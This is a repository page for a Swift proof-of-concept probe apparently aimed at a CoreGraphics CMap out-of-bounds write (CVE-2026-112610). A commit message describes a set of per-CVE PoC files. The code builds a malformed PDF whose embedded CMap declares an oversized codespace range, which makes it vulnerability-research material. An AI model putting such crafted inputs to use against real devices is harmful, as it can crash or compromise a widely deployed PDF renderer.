JBJF
7949c7ce9f
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
88 lines
3.9 KiB
Swift
88 lines
3.9 KiB
Swift
// cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610
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// CMap /UseCMap recursion out-of-bounds write (negative-result probe)
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import Foundation
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// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
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enum B {
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static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
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static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
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static func be32(_ v: UInt32) -> [UInt8] {
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[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
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}
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static func le32(_ v: UInt32) -> [UInt8] {
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[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
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}
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static func be64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
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}
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static func le64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
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}
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static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
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static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
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static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
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}
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// ── seed construction (from Cinder27 Sources: PDFPayload) ──
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enum PDFPayload {
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struct PDFBuilder {
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private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:]
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mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) {
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objects[n] = (dict, stream)
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}
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func data() -> Data {
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var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8)
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var offsets: [Int: Int] = [:]
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for n in objects.keys.sorted() {
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guard let obj = objects[n] else { continue }
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offsets[n] = out.count
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out.append(Data("\(n) 0 obj\n".utf8))
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out.append(Data(obj.dict.utf8))
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if let stream = obj.stream {
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out.append(Data("\nstream\n".utf8))
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out.append(Data(stream))
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out.append(Data("\nendstream".utf8))
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}
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out.append(Data("\nendobj\n".utf8))
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}
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let xrefPos = out.count
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let maxObj = objects.keys.max() ?? 0
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out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8))
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for n in 1...max(maxObj, 1) {
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let off = offsets[n] ?? 0
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out.append(Data(String(format: "%010d 00000 n \n", off).utf8))
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}
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out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8))
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return out
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}
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}
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static func cmapProbe(codespaceLength: Int = 128) -> Data {
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var cmap = ""
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cmap += "%!PS-Adobe-3.0 Resource-CMap\n"
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cmap += "/CIDInit /ProcSet findresource begin\n12 dict begin begincmap\n"
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cmap += "/CMapName /Cinder def\n/CMapType 1 def\n/WMode 0 def\n"
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cmap += "1 begincodespacerange\n"
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cmap += "<\(String(repeating: "0", count: 2))> <\(String(repeating: "F", count: max(2, codespaceLength)))>\n"
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cmap += "endcodespacerange\n"
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cmap += "1 begincidrange\n<00> <FF> 0\nendcidrange\n"
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cmap += "endcmap CMapName currentdict /CMap defineresource pop end end\n"
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let cmapBytes = B.ascii(cmap)
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var pdf = PDFBuilder()
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pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
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pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
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pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>")
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pdf.add(4, "<< /Length 30 >>", B.ascii("BT /F1 12 Tf 10 100 Td <0041> Tj ET"))
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pdf.add(5, "<< /Type /Font /Subtype /Type0 /BaseFont /Cinder /Encoding 6 0 R /DescendantFonts [7 0 R] >>")
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pdf.add(6, "<< /Type /CMap /CMapName /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /Length \(cmapBytes.count) >>", cmapBytes)
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pdf.add(7, "<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /DW 500 >>")
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return pdf.data()
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}
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}
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